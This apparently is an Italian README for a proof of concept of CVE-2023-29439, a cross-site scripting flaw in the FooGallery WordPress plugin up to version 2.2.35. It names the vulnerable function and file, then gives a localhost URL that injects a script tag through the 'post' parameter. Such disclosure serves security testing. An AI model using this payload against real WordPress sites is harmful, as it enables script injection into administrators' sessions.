
PoC di CVE-2023-29439
Questo repository riguarda una vulnerabilità XSS nel plugin Foogallery di Wordpress.
In Foogallery 2.2.35 e versioni precedenti, la funzione foogallery_image_editor_modal in foogallery/includes/admin/class-gallery-attachment-modal.php è vulnerabile ad attacchi XSS.
http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post=”><script>alert(1)</script>